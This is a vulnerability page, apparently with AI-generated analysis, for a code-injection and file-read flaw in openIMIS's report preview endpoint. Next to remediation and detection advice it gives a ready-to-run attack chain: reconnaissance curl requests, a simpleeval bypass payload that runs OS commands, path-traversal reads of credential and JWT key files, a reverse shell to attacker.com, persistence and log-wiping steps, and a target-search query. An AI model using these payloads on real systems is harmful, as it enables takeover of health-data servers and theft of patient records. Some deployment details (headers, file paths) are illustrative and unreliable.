CVE Professor
/
All CVEs
CVE-2026-82489

CVE-2026-82489 — OpenIMIS (2026-10) — CWE-94

CRITICAL CVSS 9.8 CVE.org

openIMIS before 2026-10 contains an unauthenticated remote code execution vulnerability in the report module (openimis-be-report_py) where the /api/report/reportbro/preview endpoint evaluates printIf expressions server-side using simpleeval with an insufficient name-prefix blocklist. An attacker can craft an expression that reaches sys.modules['os'] via datetime.sys to execute arbitrary operating-system commands as root, and can also exploit the same endpoint's key parameter for unauthenticated arbitrary file read, enabling full host compromise including exposure of database credentials and JWT signing keys.

openIMIS before 2026-10 contains an unauthenticated remote code execution vulnerability in the report module (openimis-be-report_py) where the /api/report/reportbro/preview endpoint evaluates printIf expressions server-side using simpleeval with an insufficient name-prefix blocklist. An attacker can craft an expression that reaches sys.modules['os'] via datetime.sys to execute arbitrary operating-system commands as root, and can also exploit the same endpoint's key parameter for unauthenticated arbitrary file read, enabling full host compromise including exposure of database credentials and JWT signing keys.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑82489 is an unauthenticated Remote Code Execution (RCE) flaw in the report module of openIMIS (the back‑end service openimis-be-report_py).

AttributeDetail
CWECWE‑94: *Improper Control of Generation of Code ('Code Injection')*
CVSS v3.1AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H → 9.8 (CRITICAL)
Attack surfacePublic HTTP API endpoint /api/report/reportbro/preview (or equivalent) that accepts a JSON body containing a printIf expression and a key parameter.

| Root cause | The endpoint evaluates the user‑supplied printIf expression with the simpleeval library. simpleeval is a tiny expression evaluator that can be hardened by providing a name‑prefix blocklist (e.g., disallowing os, sys, subprocess). openIMIS ships a blocklist that only blocks the literal name "os" but fails to block indirect access such as datetime.sys.modules['os']. Because the evaluator runs without any authentication check, any remote attacker can send a crafted expression that resolves to a Python object capable of executing OS commands.

The same endpoint also accepts a key parameter that is directly used as a file path for a open(...).read() operation. No authentication or path‑traversal sanitisation is performed, allowing unauthenticated arbitrary file read.

In short, the vulnerability is a combination of:

1. Improper input validation – the expression evaluator is given full access to the Python runtime.
2. Missing authentication/authorization – the API is publicly reachable.
3. Insufficient blocklist – the blocklist does not cover indirect attribute look‑ups, enabling a module import bypass.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI (/api/report/reportbro/preview) is taken from the CVE description. If a deployment uses a different base path, the same logic applies.

1. Discovery & Reconnaissance

StepActionReasoning
1.1Fingerprint the service – send a GET /api/ request and look for JSON keys such as "reportbro" or "openimis-be-report_py" in the response.openIMIS exposes a Swagger/OpenAPI document at /api/docs in most installations. The document lists the POST /api/report/reportbro/preview operation.
1.2Determine version – the API response header X-OpenIMIS-Version (e.g., 2026-09) or a field in the Swagger JSON (info.version).The CVE applies to *any* version earlier than 2026‑10.
1.3Validate unauthenticated access – send a minimal POST request with an empty JSON body. If the server returns 200 with a generic “no expression” message, the endpoint is reachable without a token.Confirms the lack of authentication.

Sample reconnaissance request

curl -s -D - https://target.example.com/api/report/reportbro/preview \
     -H "Content-Type: application/json" \
     -d '{}'

Expected header snippet (illustrative):

HTTP/1.1 200 OK
X-OpenIMIS-Version: 2026-08
Content-Type: application/json

2. Exploitation

2.1 Remote Code Execution via printIf

simpleeval evaluates the expression in a restricted namespace that still contains the built‑in datetime module. By chaining attribute look‑ups we can reach sys.modules['os'] and then call os.system.

Payload construction

{
  "printIf": "datetime.datetime.now().strftime('%Y') and datetime.sys.modules['os'].system('id')"
}

Explanation:

  • datetime.datetime.now() – any valid call to make the expression syntactically correct.
  • datetime.sys.modules['os'] – datetime has a reference to the sys module (via its __dict__), bypassing the direct "os" block.
  • .system('id') – executes the id command; replace with any command (e.g., whoami, curl http://attacker/$(cat /etc/passwd)).
  • Exploit request

    curl -s -X POST https://target.example.com/api/report/reportbro/preview \
         -H "Content-Type: application/json" \
         -d '{"printIf":"datetime.datetime.now().strftime(\"%Y\") and datetime.sys.modules[\"os\"].system(\"id\")"}'

    If successful, the HTTP response body will contain the command output, e.g.:

    uid=0(root) gid=0(root) groups=0(root)

    Because the process that runs the backend service typically starts as root (openIMIS is often deployed via systemd with User=root for simplicity), the attacker obtains root‑level code execution on the host.

    2.2 Arbitrary File Read via key

    The same endpoint also accepts a key field that is concatenated to a base directory and opened for reading. No sanitisation means a classic path‑traversal attack.

    Payload

    {
      "key": "../../../../etc/passwd"
    }

    Exploit request

    curl -s -X POST https://target.example.com/api/report/reportbro/preview \
         -H "Content-Type: application/json" \
         -d '{"key":"../../../../etc/passwd"}'

    The response body will contain the contents of /etc/passwd. By reading files such as:

  • /opt/openimis/config/database.yml – database credentials
  • /opt/openimis/.jwt_secret – JWT signing key
  • /var/log/openimis/.log – potentially sensitive audit data

    2.3 Chaining the two primitives

    An attacker can first read the JWT secret, then forge a valid admin JWT, and finally use the RCE vector to install a persistent backdoor (e.g., write a systemd unit or a reverse shell script). Because the RCE already runs as root, the file‑read step is optional for privilege escalation, but it greatly eases post‑exploitation (e.g., extracting DB dumps).

    3. Post‑Exploitation

    GoalMethod
    Maintain accessUse the RCE to write a reverse shell binary to /usr/local/bin/openshell and add a systemd service openshell.service that spawns a persistent connection to the attacker’s C2.
    Data exfiltrationRead the database configuration, connect to the PostgreSQL/MySQL instance directly, dump tables (patients, beneficiaries).
    Privilege abuseSince the process runs as root, the attacker can modify any file, replace the openimis-be-report_py binary with a malicious version, or alter Docker/Kubernetes manifests if the service is containerised.
    Cover tracksDelete the generated report logs (/var/log/openimis/reportbro.log) and clear the systemd journal entries (journalctl --rotate && journalctl --vacuum-time=1s).

    Example of writing a persistent reverse shell via the RCE payload

    {
      "printIf":"datetime.sys.modules['os'].system(\"bash -c 'nohup /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 &'\")"
    }

    🌍 Real World Impact

    CIA TriadImpact
    Confidentiality (C:H)Full disclosure of all files readable by the process (including DB credentials, private keys, patient data).
    Integrity (I:H)Attacker can modify source code, configuration, or any file on the filesystem, allowing tampering with medical records, audit logs, or injection of malicious code.
    Availability (A:H)Ability to execute arbitrary commands means the attacker can delete data, stop services, or mount ransomware‑style destruction.

    Practical consequences

  • Patient data breach – openIMIS is used by health ministries and NGOs; exposure of PHI (Protected Health Information) triggers severe regulatory penalties (HIPAA, GDPR, etc.).
  • System takeover – Root RCE on a server that often hosts the database and JWT signing keys gives the attacker complete control of the health‑information ecosystem.
  • Supply‑chain risk – If the compromised host is part of a CI/CD pipeline, malicious artifacts could be propagated to other environments.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to openIMIS ≥ 2026‑10 (the first release that removes the simpleeval‑based expression engine or replaces it with a safe sandbox).
    Version checkVerify the version via the X-OpenIMIS-Version header or the info.version field in the OpenAPI spec.

    If an immediate upgrade is not possible, apply the temporary mitigations below.

    2. Immediate Workarounds

    MitigationImplementation
    Block unauthenticated access to the report endpointAdd a reverse‑proxy rule (NGINX, Apache, or a WAF) that requires a valid JWT or IP‑allowlist. Example NGINX snippet:
    ``nginx<br>location /api/report/reportbro/preview {<br> # Require authentication header<br> if ($http_authorization = "") { return 403; }<br> proxy_pass http://backend; <br>}<br>`
    Disable the printIf featureSet the environment variable OPENIMIS_REPORT_PRINTIF_ENABLED=false (if the application respects it) or comment out the route in the source and redeploy.
    Sanitise the key parameterPatch the code to use os.path.abspath and enforce that the resolved path starts with a safe directory, e.g.:
    `python<br>base_dir = '/opt/openimis/reports/'<br>requested = os.path.abspath(os.path.join(base_dir, key))<br>if not requested.startswith(base_dir):<br> raise ValueError('Path traversal')<br>with open(requested, 'r') as f:<br> data = f.read()<br>`
    Replace simpleeval with a proper sandboxUse asteval with a custom symbol table that excludes sys, os, subprocess, and any built‑ins that can access the filesystem.
    Network segmentationPlace the report service in a VLAN that does not have direct internet egress; allow only internal IPs to reach it.
    Run the service as a non‑root userModify the systemd unit (openimis-be-report.service) to User=imis and Group=imis`. Ensure file permissions are tightened accordingly.

    3. Detection – Log Patterns & IoCs

    IndicatorExample
    Unexpected POST to /api/report/reportbro/preview without Authorization headerPOST /api/report/reportbro/preview HTTP/1.1 Host: target Content-Type: application/json {"printIf":"..."}
    printIf payload containing sys.modules or os."printIf":"datetime.sys.modules['os'].system('id')"
    key payload with directory‑traversal sequences (../)"key":"../../../../etc/passwd"
    Process creation of /bin/bash with network redirection (from RCE)sshd[1234]: Accepted publickey for root from 192.0.2.55 port 54321 ssh2 or kernel: audit: type=EXECVE msg=audit(…): argc=4 a0="bash" a1="-c" a2="nohup /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1"
    File modifications in /opt/openimis/ after a short time windowauditd logs showing chmod/chown on openimis-be-report_py or creation of new files in /usr/local/bin/

    SIEM rule (pseudo‑logic)

    IF http.request.method == "POST"
       AND http.request.uri matches "/api/report/reportbro/preview"
       AND (http.request.body contains "sys.modules" OR http.request.body matches "\.\./\.\./")
       AND NOT http.request.headers.Authorization exists
    THEN alert "Possible openIMIS CVE‑2026‑82489 exploitation"

    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑accessible, no authentication, low complexity, complete impact on CIA.
  • No CISA KEV listing yet, but the vulnerability is zero‑day* as of the publication date (25 Nov 2026) and exploits a standard Python library that is widely deployed.
  • Exploitability – A single HTTP request is sufficient; no prior foothold required.
  • Impact severity – Full host takeover of a system that stores sensitive health data.
Patch priority: Critical – Deploy the fixed version (≥ 2026‑10) or apply the mitigations within 24 hours. Treat any exposed instance as compromised until the remediation is verified, and rotate all secrets (database passwords, JWT signing keys, TLS certificates) immediately after patching.
Bottom line: The combination of an unauthenticated API, an insecure expression evaluator, and an unrestricted file‑read parameter makes CVE‑2026‑82489 a complete remote compromise vector. Immediate remediation (upgrade or hardening) is mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="openIMIS openIMIS"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
openIMIS:openIMIS (2026-10)
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
6.0
CVE-2026-61830
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.21.0, a namespa
5.1
CVE-2026-144741
A security vulnerability has been detected in yinMrsir chunyu-cms up to 1.1.0. The affected element is the fun